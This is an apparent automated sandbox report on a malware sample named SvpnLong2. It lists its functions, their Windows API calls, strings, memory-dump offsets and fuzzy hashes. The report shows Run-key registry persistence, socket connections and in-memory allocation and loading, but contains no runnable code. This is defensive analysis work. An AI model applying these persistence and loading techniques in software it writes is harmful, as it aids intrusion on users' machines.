
API ID: Virtual$AllocFree$CurrentThread$Sleep
String ID:
API String ID: 2090942847-0
Opcode ID: 19684a6e57f34190d6087524b5c43d20b184ee03852d5742e64a789b41b5f1b3
Instruction ID: 5373e2ebf5b5752689b575a4907a19020141b14cc682985362f2701b183271cd
Opcode Fuzzy Hash: 19684a6e57f34190d6087524b5c43d20b184ee03852d5742e64a789b41b5f1b3
Instruction Fuzzy Hash: C0919F32304B84A7D71DDB2AE25479977A2F745784F048129EB4A97B10DF38E2B2C740

Function 0000000180001730 Relevance: 10.6, APIs: 7, Instructions: 132networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000180004444: malloc.LIBCMT ref: 000000018000445E

select.WS2_32 ref: 00000001800017B5
recv.WS2_32 ref: 00000001800017D4
_errno.LIBCMT ref: 00000001800017E0
_errno.LIBCMT ref: 00000001800017EA
_errno.LIBCMT ref: 00000001800017F7
setsockopt.WS2_32 ref: 000000018000186B
closesocket.WS2_32 ref: 0000000180001885

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: _errno$closesocketmallocrecvselectsetsockopt
String ID:
API String ID: 2733505527-0
Opcode ID: b4e609ce72d458674995c911b6ded4150e28c238f8ae48cbf669a637b23d5045
Instruction ID: cb9e10dc00e82db0cbd16cdea7fc1d4d0cc94bf3fe38639dc087c0a29d5f993a
Opcode Fuzzy Hash: b4e609ce72d458674995c911b6ded4150e28c238f8ae48cbf669a637b23d5045
Instruction Fuzzy Hash: 614190B0618A488FE7E6DF28D4883E576D0FB88341F14866DF49EC72D6DF348A858742

Function 01550020 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 0155011F

Strings

XVXT, xrefs: 0155042B
@, xrefs: 015500ED

Memory Dump Source

Source File: 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_SvpnLong2.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID: @$XVXT
API String ID: 2167126740-4063696373
Opcode ID: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction ID: e09d9aafe8a917a19aebc17523a313966767b68a8dd137784bb5d45c0b88d5f9
Opcode Fuzzy Hash: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction Fuzzy Hash: 12D1D630618A0D8FDB5CDF5CD894AB9B7E1FF59345F15416EE84ACB292DA30E846CB80

Function 0184FCF0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 292fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 0185004E
WriteFile.KERNELBASE ref: 01850102
CloseHandle.KERNEL32 ref: 0185011A

Strings

GET, xrefs: 0184FE9E

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: GET
API String ID: 1065093856-1805413626
Opcode ID: 737fb639f192f4e12ff33ad0beaf53dca9c5994ff8c41f3693cf2dddeb105573
Instruction ID: df9b37891d78c6b8f164fe7e1482f67c5395b6dcc769549bd98087ff9e830e17
Opcode Fuzzy Hash: 737fb639f192f4e12ff33ad0beaf53dca9c5994ff8c41f3693cf2dddeb105573
Instruction Fuzzy Hash: DBC1AD32214B4182E724EF69F85475E37B0F796B98F504519EF9A87BA8CF38C694C381

Function 01550091 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 296memorylibrarynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 0155011F
LdrLoadDll.NTDLL ref: 015502D8

Strings

@, xrefs: 015500ED

Memory Dump Source

Source File: 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_SvpnLong2.jbxd

Similarity

API ID: AllocateLoadMemoryVirtual
String ID: @
API String ID: 582251630-2766056989
Opcode ID: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction ID: 2261aa72e074601fb621ffa6a56bf3ba21e9247af7b2297e49e9ab9ca7e75a2b
Opcode Fuzzy Hash: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction Fuzzy Hash: 8191A130614A0A8FCB59DF5CD8A4AB9B7E1FF59345F15416EE84ACB292DB30D846CB80

Function 018524A0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 229memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE ref: 0185274E

Strings

base, xrefs: 0185267B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AllocLocal
String ID: base
API String ID: 3494564517-3233087073
Opcode ID: edbfe02e436e56d0dffe3037d09f5d19429651610ca2561b4edec7bd7cbfec16
Instruction ID: 6d95e44aeeb9f19315bacb92aa6cde47a7d5bc082b08cdd038120d4b0d7debf4
Opcode Fuzzy Hash: edbfe02e436e56d0dffe3037d09f5d19429651610ca2561b4edec7bd7cbfec16
Instruction Fuzzy Hash: D8812772700684C6DB95DF2AE05022E7BA2F788F98F14C215EF5A87B55DF39C692C740

Function 01842380 Relevance: 5.2, APIs: 4, Instructions: 244memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,00000000,00000000,?,018422C7), ref: 018424B6
VirtualFree.KERNELBASE(?,?,00000000,00000000,?,018422C7), ref: 018424F0
VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,018422C7), ref: 01842643
VirtualFree.KERNEL32(?,?,00000000,00000000,?,018422C7), ref: 01842678

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 667e7e1166942ad4a01b563a56df34aace26f67ad1df216b49367f5cf7a47c00
Instruction ID: cea4346ab6be1fe568ff1b49809c9605a9b4242f2acc79bed19938964849b7df
Opcode Fuzzy Hash: 667e7e1166942ad4a01b563a56df34aace26f67ad1df216b49367f5cf7a47c00
Instruction Fuzzy Hash: 6291F132304A9887CB19DF2DE29076E77A6F748B84F058529EF1A97714DF34DAA1C780

Function 01852020 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0185209A
VirtualFree.KERNELBASE(?,?,00000000,01851EDE,?,?,?,0184E182), ref: 018520B5
GetProcessHeap.KERNEL32(?,?,00000000,01851EDE,?,?,?,0184E182), ref: 018520BB
HeapFree.KERNEL32(?,?,00000000,01851EDE,?,?,?,0184E182), ref: 018520C9

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: FreeHeap$ProcessVirtualfree
String ID:
API String ID: 4282497734-0
Opcode ID: f26f74e579be28588a13ed5e4f7d6e2746d7d4c2692a86a97de5c24af044b0c8
Instruction ID: ca29b6efd8aab8d266cd614814d0c6cdf7417846700346d18dfac32afc265efc
Opcode Fuzzy Hash: f26f74e579be28588a13ed5e4f7d6e2746d7d4c2692a86a97de5c24af044b0c8
Instruction Fuzzy Hash: 07116D32612A50C3EB98DF6AD54031DB762FB88F85F089121DF4A57B18CF38C592CB80

Function 018583F4 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 0185840A
GetVersion.KERNEL32 ref: 0185841C
HeapSetInformation.KERNEL32 ref: 0185843A

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction ID: 79cc17bb1995e53be2945f36be16594ee3735a1a8540c04c2313a8a6ae8c0e55
Opcode Fuzzy Hash: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction Fuzzy Hash: B9E04F78612B8082FBC65B25E8597A53761FB89745F809419EE4E437A4DF3CC2468700

Function 0000000180002370 Relevance: 3.2, APIs: 2, Instructions: 155threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000180004444: malloc.LIBCMT ref: 000000018000445E

CreateThread.KERNELBASE ref: 000000018000247F
CreateThread.KERNELBASE ref: 00000001800024E8

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: CreateThread$malloc
String ID:
API String ID: 682336008-0
Opcode ID: 1d121507744b1011872d69324f92bcfc5d773f6c6d3c9d8d408edda0041cea19
Instruction ID: a14ddc2afeffc3e4694becb80f72b79bd6ddaf375400874ea945b8a4fe78f341
Opcode Fuzzy Hash: 1d121507744b1011872d69324f92bcfc5d773f6c6d3c9d8d408edda0041cea19
Instruction Fuzzy Hash: 9B515370508A488FD799EF38D84975ABBE1FBA8301F10463EA44EC36A1DF78D584CB81

Function 018417D0 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 112
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 01841806
GetProcAddress.KERNEL32 ref: 01841819
GetProcAddress.KERNEL32 ref: 0184182E
GetProcAddress.KERNEL32 ref: 01841841
GetProcAddress.KERNEL32 ref: 01841851
GetProcAddress.KERNEL32 ref: 01841861
GetProcAddress.KERNEL32 ref: 01841876
RegCreateKeyExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0185219F), ref: 018418B9
RegOpenKeyExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0185219F), ref: 018418E2
RegSetValueExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0185219F), ref: 01841913
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,Time,0185219F), ref: 0184192A
RegSetValueExA.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0185219F), ref: 01841949
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,Time,0185219F), ref: 0184195D
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,Time,0185219F), ref: 01841970

Strings

?, xrefs: 0184189D
RegCreateKeyExA, xrefs: 0184180F
ADVAPI32.dll, xrefs: 018417FF
RegDeleteKeyA, xrefs: 01841837
RegSetValueExA, xrefs: 01841824
RegDeleteValueA, xrefs: 01841847
Time, xrefs: 018417DF
RegCloseKey, xrefs: 0184186C
RegOpenKeyExA, xrefs: 01841857

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AddressProc$LibraryValue$CloseCreateFreeLoadOpenlstrlen
String ID: ?$ADVAPI32.dll$RegCloseKey$RegCreateKeyExA$RegDeleteKeyA$RegDeleteValueA$RegOpenKeyExA$RegSetValueExA$Time
API String ID: 4166182170-2474000227
Opcode ID: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction ID: 53d71484b0541047fa39bb9d5714a91dc8ea6a8bd514dbcc214f5fbb1436ce81
Opcode Fuzzy Hash: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction Fuzzy Hash: 5A414F36314B9587EB208F16F85479AB765F788BD4F404225EE9D83B28DF38C245CB04

Function 01841BF0 Relevance: 19.7, APIs: 13, Instructions: 152
networktimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32 ref: 01841C2D
timeGetTime.WINMM ref: 01841C3F
socket.WS2_32 ref: 01841C66
gethostbyname.WS2_32 ref: 01841C80
htons.WS2_32 ref: 01841C97
connect.WS2_32 ref: 01841CBB
getsockname.WS2_32 ref: 01841CE3
inet_ntop.WS2_32 ref: 01841D11
setsockopt.WS2_32 ref: 01841D39
setsockopt.WS2_32 ref: 01841D61
setsockopt.WS2_32 ref: 01841D89
setsockopt.WS2_32 ref: 01841DAD
WSAIoctl.WS2_32 ref: 01841DF8

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: setsockopt$EventIoctlResetTimeconnectgethostbynamegetsocknamehtonsinet_ntopsockettime
String ID:
API String ID: 4102826399-0
Opcode ID: 887481bff53ad8f094f0b6e64a7730ed121ee60e87bffdd1134e804debf49975
Instruction ID: be72b3f1ccf959308affceffe818614b2981921dddfa307cfe4d5f3413c176cf
Opcode Fuzzy Hash: 887481bff53ad8f094f0b6e64a7730ed121ee60e87bffdd1134e804debf49975
Instruction Fuzzy Hash: BD613672700B419AE720CF65E44479D37A1F748798F00422AEF5997BA8DF78C269C744

Function 01841AC0 Relevance: 16.6, APIs: 11, Instructions: 75
sleepnetworkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 01841ADC
CloseHandle.KERNEL32 ref: 01841AEB
CloseHandle.KERNEL32 ref: 01841AFA
CloseHandle.KERNEL32 ref: 01841B0C
WSACleanup.WS2_32 ref: 01841B12
VirtualFree.KERNELBASE ref: 01841B29
VirtualFree.KERNELBASE ref: 01841B4D
VirtualFree.KERNELBASE ref: 01841B6F
VirtualFree.KERNEL32 ref: 01841B9C
VirtualFree.KERNEL32 ref: 01841BB7
VirtualFree.KERNEL32 ref: 01841BD2

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: FreeVirtual$CloseHandle$CleanupSleep
String ID:
API String ID: 21600312-0
Opcode ID: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction ID: db896a1e977fe870fa610a9ad7fdc47b91c904b28b7b6e35cd86b9252b4a5dd3
Opcode Fuzzy Hash: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction Fuzzy Hash: 6B31FA36302B0486EB58CFA6E95476877A9FF89F89F048115CE4E83B28DF38C295C710

Function 01844430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClassExA.USER32 ref: 01844476
GetModuleHandleA.KERNEL32 ref: 0184448E
CreateWindowExA.USER32 ref: 018444D0
GetMessageA.USER32 ref: 018444E8
TranslateMessage.USER32 ref: 018444FC
DispatchMessageA.USER32 ref: 01844507
GetMessageA.USER32 ref: 0184451A

Strings

QjNy1jwRYuH6aNtMf3Jz, xrefs: 01844457

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Message$ClassCreateDispatchHandleModuleRegisterTranslateWindow
String ID: QjNy1jwRYuH6aNtMf3Jz
API String ID: 3848795541-3621823610
Opcode ID: 025900ca7ea43d8d79a465b25f9ebb2d43cdc0a8efedc9b901d28f077aa14ed0
Instruction ID: 111bd78eeb432c2f06424117924e88812fb1c58eba04db7a7aa0d63049be36ab
Opcode Fuzzy Hash: 025900ca7ea43d8d79a465b25f9ebb2d43cdc0a8efedc9b901d28f077aa14ed0
Instruction Fuzzy Hash: 96215335614B8582EB20CF64F89479E77A5F785754F90821AE7AD83AA4DF3CC209CF00

Function 00000001800014E0 Relevance: 13.7, APIs: 9, Instructions: 207networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 0000000180001547
gethostbyname.WS2_32 ref: 0000000180001561
connect.WS2_32 ref: 000000018000159C
getsockname.WS2_32 ref: 00000001800015C4
setsockopt.WS2_32 ref: 000000018000161A
setsockopt.WS2_32 ref: 0000000180001642
setsockopt.WS2_32 ref: 000000018000166A
setsockopt.WS2_32 ref: 000000018000168E

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: setsockopt$connectgethostbynamegetsocknamesocket
String ID:
API String ID: 660973541-0
Opcode ID: af26183a9425fd8366bd4c59efb53a51384d201903811781b51447a95ac78555
Instruction ID: 0b2c531b1825ac6cbe0016d0267c4d0467b3e0b538d3096782c0c551160d8fb4
Opcode Fuzzy Hash: af26183a9425fd8366bd4c59efb53a51384d201903811781b51447a95ac78555
Instruction Fuzzy Hash: BE719E70608A098FEB48EF28D8497A977E1FF98304F10412DF88ED3291DB78E655CB85

Function 018421C0 Relevance: 13.6, APIs: 9, Instructions: 97
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32 ref: 01842255
recv.WS2_32 ref: 01842274
_errno.LIBCMT ref: 01842280
_errno.LIBCMT ref: 0184228A
_errno.LIBCMT ref: 01842297
setsockopt.WS2_32 ref: 018422FF
CancelIo.KERNEL32 ref: 01842309
closesocket.WS2_32 ref: 01842319
SetEvent.KERNEL32 ref: 01842326

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno$CancelEventclosesocketrecvselectsetsockopt
String ID:
API String ID: 2233327707-0
Opcode ID: ca68fa8142eaa2d41fac3aa2f00626d4bbaa886bea533d5d4222ce0ea756e2c0
Instruction ID: 47be9ba6a04d1a7725663c5aaa4429d775713ad4b0a251ee4f5dfc7989e73a2d
Opcode Fuzzy Hash: ca68fa8142eaa2d41fac3aa2f00626d4bbaa886bea533d5d4222ce0ea756e2c0
Instruction Fuzzy Hash: 5A41D432208A8582E7709F79F4443AE7761F796B94F544226EF9D87BA8CF38C644CB11

Function 01851D10 Relevance: 12.1, APIs: 8, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,0184E182), ref: 01851D50
VirtualAlloc.KERNEL32(?,?,?,0184E182), ref: 01851D6D

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: be4286c4da388d932c314d9cc8358ddcdd747aba37cb2460b1e4ae52cd661bf9
Instruction ID: a063c919888190d15b62c163653f9110de87e7f12d253b4dcba775d6ee2a800e
Opcode Fuzzy Hash: be4286c4da388d932c314d9cc8358ddcdd747aba37cb2460b1e4ae52cd661bf9
Instruction Fuzzy Hash: 6F519B36311B4086EB94DB26E9847AA37A1FB89FC4F088029DF4E87B14EF38D651C740

Function 01850682 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 223
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.LIBCMT ref: 018507D1
RegOpenKeyExA.KERNELBASE ref: 01850940
RegSetValueExA.KERNELBASE ref: 01850979
RegCloseKey.ADVAPI32 ref: 01850997

Strings

run, xrefs: 01850986
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 01850932

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CloseOpenValuerand
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$run
API String ID: 1269030272-4096352211
Opcode ID: 660d8166146936334b81e053cfaf451b9112a638df3111bc068d4c882842fc80
Instruction ID: 4090a37a8e4e7bb3e08794ea33a757733562eec0cf28bbc4589b3119f55de6c1
Opcode Fuzzy Hash: 660d8166146936334b81e053cfaf451b9112a638df3111bc068d4c882842fc80
Instruction Fuzzy Hash: 58A16832210BC189EBB5AF38E8443D93762F7553A8F444616EF9A8BA99CF74C784D341

Function 018530BC Relevance: 9.1, APIs: 6, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.LIBCMT ref: 018530E7
_invalid_parameter_noinfo.LIBCMT ref: 018530F2
_getptd.LIBCMT ref: 01853118
CreateThread.KERNELBASE ref: 0185316D
GetLastError.KERNEL32 ref: 01853178
free.LIBCMT ref: 01853183

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CreateErrorLastThread_errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 3283625137-0
Opcode ID: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction ID: aa5de7eff45e99553c630ca896e42e50aa91e2a06beac36c82a72b79d1c395a7
Opcode Fuzzy Hash: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction Fuzzy Hash: 2521D831304B8186EB54DFAAE94035EB3A1FB54BE0F444625EF6983B95DF38C251C701

Function 00000001800042E0 Relevance: 6.1, APIs: 4, Instructions: 98threadCOMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000000018000430B
_invalid_parameter_noinfo.LIBCMT ref: 0000000180004316
_getptd.LIBCMT ref: 000000018000433C
CreateThread.KERNELBASE ref: 0000000180004391

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: CreateThread_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 1108447903-0
Opcode ID: 395162099c2acc96d893defd4e11747bcc72579f14a3cf3572658606cb79b91d
Instruction ID: eb9be11b680f1ff0fafa87f7053bd02e3bc7355b24d5dc3e71e429c7de5df666
Opcode Fuzzy Hash: 395162099c2acc96d893defd4e11747bcc72579f14a3cf3572658606cb79b91d
Instruction Fuzzy Hash: 3F21E671608F0D8FE784FB68A8467BA77D0EB98351F00462EB44DC72A2DF60D9448786

Function 01842A50 Relevance: 6.0, APIs: 4, Instructions: 29synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32 ref: 01842A6F
CreateThread.KERNELBASE ref: 01842A95
WaitForSingleObject.KERNEL32 ref: 01842AA6
CloseHandle.KERNEL32 ref: 01842AB1

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID:
API String ID: 3360349984-0
Opcode ID: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction ID: ae3095c87b3363a0fb18240c4272df7569dca6c322cde5cfb2d678928080cca5
Opcode Fuzzy Hash: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction Fuzzy Hash: F7F0F936618B8183E714CF75B85579B77A2F3C6750F148229FA9E46B68CF3DC1598B00

Function 0184EB40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 018523A0: GetComputerNameA.KERNEL32 ref: 018523FF
Part of subcall function 018523A0: lstrcpy.KERNEL32 ref: 01852415
Part of subcall function 018523A0: wsprintfA.USER32 ref: 01852444

SleepEx.KERNEL32 ref: 0184EB75

Strings

run, xrefs: 0184EB60
driver, xrefs: 0184EB49, 0184EB7B

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ComputerNameSleeplstrcpywsprintf
String ID: driver$run
API String ID: 2401651887-4270002515
Opcode ID: 20af55a0a792ddad8a0b3d662374fb4cfecfde6feee429567d2bc022b4671d35
Instruction ID: 3ec6ae54bee53bb09155c0518b16609db51148e7a62c77a723de176b8f150cb8
Opcode Fuzzy Hash: 20af55a0a792ddad8a0b3d662374fb4cfecfde6feee429567d2bc022b4671d35
Instruction Fuzzy Hash: 07F0C83021468AC6EB109B39EC503A93750F765748F4442A19A8BC6AE5EF2CC385C7A2

Function 00000001800013B0 Relevance: 4.6, APIs: 3, Instructions: 116COMMON

Download Yara Rule

APIs

